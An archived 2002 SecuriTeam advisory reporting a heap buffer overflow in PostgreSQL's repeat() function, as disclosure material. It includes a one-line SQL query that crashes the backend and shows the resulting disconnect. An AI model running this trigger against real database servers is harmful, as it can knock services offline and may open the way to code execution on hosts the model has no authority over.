

# [UNIX] Another Buffer Overflow Found in PostgreSQL (repeat function)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0066.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/21/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 21 Aug 2002 10:51:21 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Another Buffer Overflow Found in PostgreSQL (repeat function)

---

## SUMMARY

<<http://www.postgresql.org>> PostgreSQL is a sophisticated Object-Relational DBMS, supporting almost all SQL constructs, including subselects, transactions, and user-defined types and functions. There exists a heap buffer overflow in a repeat(text, integer) function, which allows an attacker to execute malicious code.

## DETAILS

Upon invoking a repeat() function, a src/backend/utils/adt/oracle\_compat.c::repeat() function will get called which suffers from a buffer overflow.

How to reproduce:

```
psql> select repeat('xxx',1431655765);
```

```
pqReadData() --- backend closed the channel unexpectedly.
```

This probably means the backend terminated abnormally before or while processing the request.

The connection to the server was lost. Attempting reset: Failed.

## ADDITIONAL INFORMATION

Securiteam: [UNIX] Another Buffer Overflow Found in PostgreSQL (repeat function)

The information has been provided by <mailto:[mordred@s-mail.com](mailto:mordred@s-mail.com)> Sir Mordred The Traitor.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[\[UNIX\] Arbitrary Code Execution Vulnerability in Mantis](#)"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)